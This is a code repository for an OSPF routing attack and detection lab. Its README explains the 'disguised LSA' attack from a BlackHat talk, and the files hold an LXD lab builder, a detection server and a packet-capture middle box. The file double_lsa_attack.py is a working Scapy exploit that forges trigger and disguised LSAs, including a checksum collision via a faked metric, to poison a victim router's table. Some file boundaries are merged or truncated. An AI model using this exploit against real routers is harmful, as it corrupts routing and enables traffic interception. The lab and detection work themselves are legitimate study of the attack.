├── .idea ├── .name ├── OSPF_Attack_and_Detection.iml ├── inspectionProfiles │ └── profiles_settings.xml ├── misc.xml ├── modules.xml ├── vcs.xml └── workspace.xml ├── Detection ├── detection_server.py ├── lxd_ospf_restart.sh ├── lxd_vethfinder.sh ├── merge.py ├── middle_box.py ├── ospf_double_lsa_attack.pcapng └── test.py ├── README.md ├── build_network.sh ├── double_lsa_attack.py └── flaskWeb.py /.idea/.name: -------------------------------------------------------------------------------- 1 | OSPF_Attack_and_Detection -------------------------------------------------------------------------------- /.idea/OSPF_Attack_and_Detection.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 11 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 18 | 19 | 24 | 25 | 26 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 44 | 45 | 46 | 47 | 48 | 67 | 68 | 69 | 88 | 89 | 90 | 109 | 110 | 111 | 130 | 131 | 132 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 1597928746661 168 | 172 | 173 | 174 | 175 | 186 | 187 | -------------------------------------------------------------------------------- /Detection/detection_server.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | """ 3 | Detection Server: Receive packets from Middle Box and send the attack recovery instruction 4 | Author: Alston 5 | Date: 2020.8.7 6 | """ 7 | 8 | import socket 9 | import threading 10 | import struct 11 | import subprocess 12 | import redis 13 | from time import * 14 | from threading import Thread 15 | from interval import Interval 16 | from scapy.all import * 17 | load_contrib("ospf") 18 | 19 | def recv_from_udp(): 20 | global client_list 21 | while True: 22 | try: 23 | data, addr = s.recvfrom(1024) 24 | if addr not in client_list: 25 | print('Receiving from %s:%s!' % addr) 26 | s.sendto(b'Hello, %s!' % data, addr) 27 | client_list.append(addr) 28 | # Processing packets from the middle box 29 | else: 30 | global ack_num 31 | global sliding_window 32 | pkt_num = struct.unpack('h', data[0:2])[0] 33 | pkt = Ether(data[2:]) 34 | if pkt_num == ack_num: 35 | # Send to Middle_Box an ACK, whose number is same as the received pkt_num 36 | s.sendto(data[0:2], addr) 37 | # If the number of middle_box greater than 1, the packets in this list should be sorted by timestamp 38 | sliding_window.append(pkt) 39 | # wrpcap('ospf_double_lsa_attack.pcapng', pkt, append=True) 40 | print("The OSPF LSUpd packet #%d" % pkt_num + " received from %s:%d!" % addr) 41 | ack_num += 1 42 | except: 43 | print("Error!") 44 | break 45 | print('-----------------------------------------------------------------------') 46 | 47 | def get_lsa_information(pkt, lsa_num=0): 48 | # Suppose that only 1 LSA in the lsalist 49 | seq = pkt[OSPF_LSUpd].lsalist[lsa_num][OSPF_Router_LSA].seq 50 | time = pkt.time 51 | link_state_id = pkt[OSPF_LSUpd].lsalist[lsa_num][OSPF_Router_LSA].id 52 | advertising_router = pkt[OSPF_LSUpd].lsalist[lsa_num][OSPF_Router_LSA].adrouter 53 | return seq, time, link_state_id, advertising_router 54 | 55 | def recovery(): 56 | # send the recovery instruction to the Middle Box 57 | data = str(attack_rec) + "," + victim_router 58 | client_ip = client_list[0][0] 59 | # client port for recovery 60 | client_port = 7890 61 | s.sendto(data.encode('utf-8'), (client_ip, client_port)) 62 | print("[+] The recovery instruction has been sent.") 63 | 64 | def detection_algorithm(): 65 | global malicious_lsa 66 | head = 0 67 | tail = 1 68 | while True: 69 | start_time = time.time() 70 | while True: 71 | try: 72 | end_time = time.time() 73 | if end_time - start_time > 5: 74 | head += 1 75 | tail = head + 1 76 | if sliding_window[tail]: 77 | img_disguised = sliding_window[tail] 78 | break 79 | except IndexError: 80 | print("There are no more LSAs to analyse. Waiting...") 81 | sleep(10) 82 | continue 83 | img_trigger = sliding_window[head] 84 | while True: 85 | img_trigger_information = get_lsa_information(img_trigger) 86 | img_disguised_information = get_lsa_information(img_disguised) 87 | # Conditions to judge two LSA whether equal 88 | if img_trigger_information[0] == img_disguised_information[0] - 1 and \ 89 | img_disguised_information[1] - img_trigger_information[1] in Interval(1, 5, closed=False) and \ 90 | img_trigger_information[2:] == img_disguised_information[2:]: 91 | # Avoid alerting and sending recovery instruction repeatedly 92 | if malicious_lsa['trigger'] == None and malicious_lsa['disguised'] == None: 93 | malicious_lsa['trigger'] = img_trigger 94 | malicious_lsa['disguised'] = img_disguised 95 | else: 96 | mal_trigger = malicious_lsa['trigger'] 97 | mal_disguised = malicious_lsa['disguised'] 98 | # The newly captured img_lsa are the same as mal_lsa 99 | if get_lsa_information(mal_trigger)[0] == img_trigger_information[0] and \ 100 | get_lsa_information(mal_disguised)[0] == img_disguised_information[0]: 101 | head += 1 102 | tail = head + 1 103 | break 104 | else: 105 | malicious_lsa['trigger'] = img_trigger 106 | malicious_lsa['disguised'] = img_disguised 107 | print('-----------------------------------------------------------------------') 108 | print("Warning!!!") 109 | print("The advertising router is: "+str(img_trigger_information[-1])) 110 | print("Trigger LSA: " + str(img_trigger.summary())) 111 | print("Disguised LSA: " + str(img_disguised.summary())) 112 | trigger_bytes = raw(img_trigger) 113 | disguised_bytes = raw(img_disguised) 114 | client_ip = client_ip = client_list[0][0] 115 | client_port = 7891 116 | trigger_len = struct.pack('i', len(trigger_bytes)) 117 | s.sendto(trigger_len + trigger_bytes + disguised_bytes, (client_ip, client_port)) 118 | print("[+] The two malicious LSAs have been sent to the middle box! ") 119 | recovery() 120 | print('-----------------------------------------------------------------------') 121 | head += 1 122 | tail = head + 1 123 | break 124 | else: 125 | tail += 1 126 | break 127 | 128 | if __name__ == '__main__': 129 | ##################################################### 130 | # Initial configuration # 131 | ##################################################### 132 | 133 | server_ip = "192.168.37.19" 134 | 135 | # Use networkID+IP to get the name of victim_router 136 | victim_router = 'r5' 137 | 138 | # Instruction of attack recovery 139 | attack_rec = True 140 | 141 | ##################################################### 142 | ack_num = 0 143 | 144 | # Used to store multiple Middle Box 145 | client_list = [] 146 | 147 | sliding_window = [] 148 | 149 | # Time interval between warning and attack recovery 150 | hold_time = 10 151 | 152 | malicious_lsa = {'trigger':None, 'disguised':None} 153 | 154 | # UDP Socket 155 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 156 | s.bind((server_ip, 9527)) 157 | t_recv = Thread(target=recv_from_udp, name="receive") 158 | t_detection = Thread(target=detection_algorithm, name="detection") 159 | 160 | # start the threads 161 | t_recv.start() 162 | while True: 163 | try: 164 | if sliding_window[0] and sliding_window[1]: 165 | t_detection.start() 166 | break 167 | except IndexError: 168 | print("Waiting for the coming of first two LSAs...") 169 | sleep(10) 170 | continue 171 | # wait for child-threads to finish (with optional timeout in seconds) 172 | t_recv.join() 173 | t_detection.join() 174 | 175 | 176 | 177 | 178 | -------------------------------------------------------------------------------- /Detection/lxd_ospf_restart.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | victim=$1 4 | 5 | 6 | num=$(echo $1 | sed -e 's/r\(.*\)/\1/g') 7 | 8 | #eth0=$(lxc info $1 | grep eth0 | sed -n 1p | sed -e 's/eth0:\sinet\s\(.*\)veth\(.*\)/\1/g') 9 | #subnet=$(echo $eth0 | sed -e 's/\(.*\.\)\(.*\.\)\(.*\.\)\(.*\)/\1\2\30\/24/g') 10 | 11 | 12 | lxc exec $1 bash < 5: 82 | head += 1 83 | tail = head + 1 84 | if sliding_window[tail]: 85 | img_disguised = sliding_window[tail] 86 | break 87 | except IndexError: 88 | print("There are no more LSAs to analyse. Waiting...") 89 | sleep(10) 90 | continue 91 | img_trigger = sliding_window[head] 92 | while True: 93 | img_trigger_information = get_lsa_information(img_trigger) 94 | img_disguised_information = get_lsa_information(img_disguised) 95 | # Conditions to judge two LSA whether equal 96 | if img_trigger_information[0] == img_disguised_information[0] - 1 and \ 97 | img_disguised_information[1] - img_trigger_information[1] in Interval(1, 5, closed=False) and \ 98 | img_trigger_information[2:] == img_disguised_information[2:]: 99 | # Avoid alerting and sending recovery instruction repeatedly 100 | if malicious_lsa['trigger'] == None and malicious_lsa['disguised'] == None: 101 | malicious_lsa['trigger'] = img_trigger 102 | malicious_lsa['disguised'] = img_disguised 103 | else: 104 | mal_trigger = malicious_lsa['trigger'] 105 | mal_disguised = malicious_lsa['disguised'] 106 | # The newly captured img_lsa are the same as mal_lsa 107 | if get_lsa_information(mal_trigger)[0] == img_trigger_information[0] and \ 108 | get_lsa_information(mal_disguised)[0] == img_disguised_information[0]: 109 | head += 1 110 | tail = head + 1 111 | break 112 | else: 113 | malicious_lsa['trigger'] = img_trigger 114 | malicious_lsa['disguised'] = img_disguised 115 | print('-----------------------------------------------------------------------') 116 | print("Warning!!!") 117 | print("The advertising router is: "+str(img_trigger_information[-1])) 118 | print("Trigger LSA: " + str(img_trigger.summary())) 119 | print("Disguised LSA: " + str(img_disguised.summary())) 120 | store_malicious_lsa(img_trigger, img_disguised) 121 | recovery(attack_rec) 122 | print('-----------------------------------------------------------------------') 123 | head += 1 124 | tail = head + 1 125 | break 126 | else: 127 | tail += 1 128 | break 129 | 130 | 131 | if __name__ == '__main__': 132 | ##################################################### 133 | # Initial configuration # 134 | ##################################################### 135 | device_if = [['r1', 'eth0'], 136 | ['r1', 'eth1'], 137 | ['r3', 'eth0'], 138 | ['r3', 'eth1'] 139 | ] 140 | # Use networkID+IP to get the name of victim_router 141 | victim_router = 'r5' 142 | # Instruction of attack recovery 143 | attack_rec = True 144 | # IP address of the attack router 145 | attack_ip = ["192.168.16.127", "192.168.12.249"] 146 | ##################################################### 147 | 148 | veth_list = get_veth() 149 | sliding_window = [] 150 | # Time interval between warning and attack recovery 151 | hold_time = 10 152 | malicious_lsa = {'trigger': None, 'disguised': None} 153 | 154 | t_capture = Thread(target=packet_capture, name="capture") 155 | t_detection = Thread(target=detection_algorithm, name="detection") 156 | 157 | t_capture.start() 158 | while True: 159 | try: 160 | if sliding_window[0] and sliding_window[1]: 161 | t_detection.start() 162 | break 163 | except IndexError: 164 | print("Waiting for the coming of first two LSAs...") 165 | sleep(10) 166 | continue 167 | 168 | # wait for child-threads to finish (with optional timeout in seconds) 169 | t_capture.join() 170 | t_detection.join() 171 | -------------------------------------------------------------------------------- /Detection/middle_box.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | """ 3 | Middle Box: capture packets, send them to the detection server and receive an instruction to recovery the attack in host machine 4 | Author: Alston 5 | Date: 2020.7.26 6 | """ 7 | 8 | import subprocess 9 | import socket 10 | import struct 11 | import redis 12 | from select import * 13 | from threading import Thread 14 | from time import * 15 | from scapy.all import * 16 | load_contrib("ospf") 17 | 18 | def get_veth(): 19 | veth_list = [] 20 | for device, interface in device_if: 21 | cmd = './lxd_vethfinder.sh '+device+' '+interface 22 | res = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf-8") 23 | veth = res.communicate()[0].replace('\n','') 24 | veth_list.append(veth) 25 | print('[+] The veth interfaces have been obtained!') 26 | return veth_list 27 | 28 | def send_to_analyser(pkt): 29 | # OSPF_Hdr/OSPF_LSUpd/.lsalist/OSPF_Router_LSA || OSPF_Network_LSA ||.... 30 | if pkt[IP].src in attack_ip: 31 | # print(pkt.summary()) 32 | # r = redis.Redis(host='127.0.0.1', port=6379) 33 | key = "lsa_from_attack_router" 34 | value = str(pkt.summary()) 35 | # r.rpush(key, value) 36 | 37 | if OSPF_Router_LSA in pkt: 38 | global pkt_num 39 | # 'h' represents the short int which length is 2 bytes 40 | pkt_num_field = struct.pack('h', pkt_num % 65535) 41 | pkt_bytes = raw(pkt) 42 | # Attach the pkt_num to pkt so as to implement the stop-and-wait protocol 43 | s.sendto(pkt_num_field + pkt_bytes, (server_ip, 9527)) 44 | # wrpcap('md.pcapng', pkt, append=True) 45 | # Reliable data transfer 46 | # Timeout timer = 1s 47 | s.settimeout(1) 48 | try: 49 | ack_num = struct.unpack('h', s.recvfrom(2)[0])[0] 50 | except: 51 | ack_num = -1 52 | print("Time out!") 53 | s.settimeout(None) 54 | 55 | # Retransmission only once 56 | if ack_num != pkt_num: 57 | s.sendto(pkt_num_field + pkt_bytes, (server_ip, 9527)) 58 | ack_num = struct.unpack('h', s.recvfrom(2)[0])[0] 59 | print("The OSPF LSUpd packet #%d sent failed and has been retransmitted!" % pkt_num) 60 | pkt_num += 1 61 | else: 62 | print("The OSPF LSUpd packet #%d has been sent to detection server!" % pkt_num) 63 | pkt_num += 1 64 | 65 | 66 | def packet_capture(): 67 | # Send 68 | msg = b'Middle Box #1' 69 | s.sendto(msg, (server_ip, 9527)) 70 | # Receive 71 | print(s.recvfrom(1024)[0].decode('utf-8')) 72 | print('[+] Starting sniffing the Link State Update packets of the target network...') 73 | pkts = sniff(filter="proto ospf", iface=veth_list, prn=send_to_analyser) 74 | 75 | def recovery(): 76 | ss = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 77 | ss.bind((client_ip, 7890)) 78 | while True: 79 | data, addr = ss.recvfrom(1024) 80 | data = data.decode('utf-8') 81 | data = list(data.split(',')) 82 | sign, victim = bool(data[0]), data[1] 83 | if sign: 84 | sleep(7) 85 | cmd = './lxd_restart_ospf.sh ' + victim 86 | res = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf-8") 87 | print("[+] The recovery instruction has been sent!") 88 | 89 | def receive_malicious_lsa(): 90 | sss = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 91 | sss.bind((client_ip, 7891)) 92 | while True: 93 | data, addr = sss.recvfrom(1024) 94 | trigger_len = struct.unpack('i', data[0: 4])[0] 95 | trigger_lsa = Ether(data[4: 4+trigger_len]) 96 | disguised_lsa = Ether(data[4+trigger_len: ]) 97 | print(trigger_lsa.summary()) 98 | print(disguised_lsa.summary()) 99 | key1 = "trigger_lsa" 100 | key2 = "disguised_lsa" 101 | value1 = str(trigger_lsa.summary()) 102 | value2 = str(disguised_lsa.summary()) 103 | # r = redis.Redis(host='127.0.0.1', port=6379) 104 | # r.set(key1, value1) 105 | # r.set(key2, value2) 106 | print("[+] The two malicious LSAs have been stored into the Redis!") 107 | 108 | if __name__ == '__main__': 109 | ##################################################### 110 | # Initial configuration # 111 | ##################################################### 112 | server_ip = "192.168.37.19" 113 | client_ip = "192.168.72.225" 114 | device_if = [['r1', 'eth0'], 115 | ['r1', 'eth1'], 116 | ['r3', 'eth0'], 117 | ['r3', 'eth1'] 118 | ] 119 | attack_ip = ["192.168.16.127", "192.168.12.249"] 120 | ##################################################### 121 | pkt_num = 0 122 | veth_list = get_veth() 123 | 124 | # UDP Socket for sending packets 125 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 126 | s.bind((client_ip, 11111)) 127 | 128 | t_capture = Thread(target=packet_capture, name="capture") 129 | t_recovery = Thread(target=recovery, name="recovery") 130 | t_RecMalLsa =Thread(target=receive_malicious_lsa, name="RecMalLsa") 131 | t_capture.start() 132 | t_recovery.start() 133 | t_RecMalLsa.start() 134 | t_capture.join() 135 | t_recovery.join() 136 | t_RecMalLsa.join() 137 | 138 | 139 | 140 | 141 | -------------------------------------------------------------------------------- /Detection/ospf_double_lsa_attack.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lizitong67/OSPF_Attack_and_Detection/d7eb0823ce924f8619819042d7f88751b4de97a5/Detection/ospf_double_lsa_attack.pcapng -------------------------------------------------------------------------------- /Detection/test.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | """ 3 | Detection Algorithm 4 | Author: Alston 5 | Date: 2020.8.20 6 | """ 7 | from scapy.all import * 8 | load_contrib("ospf") 9 | from threading import Thread 10 | from time import * 11 | from interval import Interval 12 | import struct 13 | 14 | #!/bin/bash 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OSPF_Attack_and_Detection 2 | 3 | 4 | 5 | I will talk about an attack against the OSPF protocol published by Alex Kirshon, Dima Gonikman, and Gabi Nakibly during a BlackHat conference. The purpose of this paper is to provide an understanding of the attack and automate it with scripts in a virtual network environment. 6 | 7 | # 1 Tool used 8 | 9 | - LXD 10 | - FRRouting 11 | - Python Scapy 12 | - Wireshark 13 | 14 | # 2 Key points 15 | 16 | **The OSPF Fight Back Mechanism** 17 | 18 | When a router A receives an LSA and the *Advertising-Router* field equals the *Router-id* of A (The LSA is advertised by A itself), Router A inspects the content and if it is not correct (The routing information of A has tampered), returns immediately another correct LSA which will overwrite the old one. 19 | 20 | **Two LSA are considered identical if they meet the following criteria** 21 | 22 | - Same *sequence number* 23 | - Same *checksum value* 24 | - Same *age* (+/- 15 min) 25 | 26 | # 3 The attack 27 | 28 | ![](https://s1.ax1x.com/2020/07/10/UKOUiQ.png) 29 | 30 | ## Attack steps 31 | 32 | **step1:** A **Trigger LSA** specifically craft to usurp an LSA packet from R1 and we send this false LSA to R1 to trigger the fight back mechanism. 33 | 34 | **step2:** We send a **Disguised LSA**, which craft to match the **Fight Back LSA** from R1 and carrying false routing information to poison the route table of victims, to R2 simultaneously. That means the Disguised LSA and Fight Back LSA have the same sequence number, checksum, and age, i.e., these two LSA are deemed to be identical. 35 | 36 | **step3:** R1 send the Fight Back LSA once receives the Trigger LSA from the attacker, which will be rejected by R2 because R2 already received an equivalent LSA from the attacker forged in step2. 37 | 38 | **step4:** R2 flood the Disguise LSA, R1 receives the packet but reject it, being seen as identical to the Fight Back LSA it sent in step 3. 39 | 40 | Thus in the wake of the attack, R1 and R2 have a different LSDB as R2 has a tainted route-table. This continues until the next update of the LSA Database (30 minutes by default) 41 | 42 | 43 | 44 | # 4 Experiment 45 | 46 | ![](https://s1.ax1x.com/2020/07/10/UKO2i4.png) 47 | 48 | We use the Linux container **LXD** and a shell script to create the network topology automatically. Each router is an Alpine Linux instance with the **FRRouting** build in to conduct the OSPF routing protocol. 49 | 50 | After that, the attack is implemented as follows: 51 | 52 | - Firstly, We sniffing the OSPF packet consecutively in the attack router R1 and stop when the first OSPF LSUpd packet containing Router LSA is received from the victim router R5. We separate the last OSPF LSUpd from the sniffing packets as *original packet* and use it to craft the trigger packet and evil packet for convenience. Besides, sniffing the network without a break in order to launch the attack at any time whenever the victim router sent a LSUpd to revise other router's routing information about itself. 53 | - Secondly, we craft a trigger packet and send it to the victim router in the form of multicast in order to trigger the fightback mechanism of R5. We also send the trigger packet to R6 simultaneously just to guarantee the arriving LSUpd sequence order. 54 | - Eventually, we specifically craft a disguised LSA which same as the fightback LSA sent by R5 and sent the disguised LSA to R6 after 2 seconds cease. The reason why we cease 2 seconds is that the OSPF can only process one LSA per second by default and the fightback mechanism is not triggered until 5 seconds approximately after receiving the trigger LSA. Therefore the time interval between the sending of trigger LSA and disguised LSA should in 1~5 seconds. 55 | 56 | By reason of the disguised LSA arrive at R6 before the fightback LSA, the poison target router R6 will add the false routing information carried by the disguised LSA to its routing table. The goal of the attacker is accomplished up to here. 57 | 58 | The trigger LSA, disguised LSA, and fightback LSA captured by Wireshark are as follows: 59 | 60 | trigger LSA: 61 | 62 | ![](https://s1.ax1x.com/2020/07/10/UKO4Q1.png) 63 | 64 | disguised LSA: 65 | 66 | ![](https://s1.ax1x.com/2020/07/10/UKOvQI.png) 67 | 68 | fightback LSA: 69 | 70 | ![](https://s1.ax1x.com/2020/07/10/UKXESs.png) 71 | 72 | The poisoned routing table of R6 is as follows: 73 | 74 | ![](https://s1.ax1x.com/2020/07/10/UKXZyq.png) 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /build_network.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ####################################### 3 | # Creat network topology via LXD # 4 | # Author: Alston # 5 | # Date: 2020.7.10 # 6 | ####################################### 7 | 8 | 9 | ROUTER_NUM=6 10 | 11 | 12 | HOST_TEMPLATE_NAME="host" 13 | ROUTER_TEMPLATE_NAME="router" 14 | 15 | SUBNET=192.168 16 | 17 | 18 | create_new_container() { 19 | if [ -d "/var/snap/lxd/common/lxd/containers/$1" ]; 20 | then 21 | echo "Container $1 already exists!" 22 | return 23 | fi 24 | lxc copy ${2} ${1} && echo "Container $1 created!" 25 | } 26 | 27 | create(){ 28 | echo "Now create nodes..." 29 | for router_name in $(seq 1 ${ROUTER_NUM}); 30 | do 31 | create_new_container r${router_name} ${ROUTER_TEMPLATE_NAME} 32 | done 33 | } 34 | 35 | create_link(){ #create interface and attach network 36 | 37 | last_eth=$(lxc config device list ${1} | tail -n 1) 38 | 39 | if [[ $last_eth =~ "eth" ]] #判断子字符串 40 | then 41 | new_eth=eth$(( ${last_eth: -1} + 1 )) 42 | echo "New interface of ${1} is ${new_eth}" 43 | 44 | lxc start ${1} 45 | lxc exec ${1} bash <> /etc/network/interfaces < metric = 49 and type =12 182 | IMPROVED SOLUTION: 183 | Due to the fact that the metric is 2 bytes long and that C0 and C1 are always evaluated as mod(255), 184 | there is no need to change all the other parameters. 185 | """ 186 | count = pkt_evil[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA].linkcount - 1 187 | pkt_orig[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA].seq += 2 188 | faked_metric = get_fake_metric_value(pkt_orig[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA], \ 189 | pkt_evil[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA], count) 190 | pkt_evil[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA].linklist[count][OSPF_Link].metric = faked_metric 191 | 192 | print("[+] Collision found! Time to send the pkts...") 193 | 194 | # Now that the packet is ready, we let Scapy recalculate length, checksums, etc.. 195 | 196 | # pkt_evil[Ether].src = "00:16:3e:3a:a7:11" 197 | # pkt_evil[Ether].dst = "01:00:5e:00:00:05" 198 | pkt_evil[IP].src = disguised_send_ip 199 | pkt_evil[IP].dst = "224.0.0.5" 200 | pkt_evil[IP].chksum = None 201 | pkt_evil[IP].len = None 202 | pkt_evil[OSPF_Hdr].chksum = None 203 | pkt_evil[OSPF_Hdr].len = None 204 | pkt_evil[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA].chksum = None 205 | 206 | # Send trigger packet to trigger the fightback mechanism 207 | sendp(pkt_trig, iface=trigger_send_if) 208 | sleep(2) 209 | sendp(pkt_evil, iface=disguised_send_if) 210 | 211 | -------------------------------------------------------------------------------- /flaskWeb.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | 3 | app = Flask(__name__) 4 | 5 | @app.route('/') 6 | def func(): 7 | return "Hello world!" 8 | 9 | if __name__ == '__main__': 10 | app.run('0.0.0.0', port=8080) 11 | --------------------------------------------------------------------------------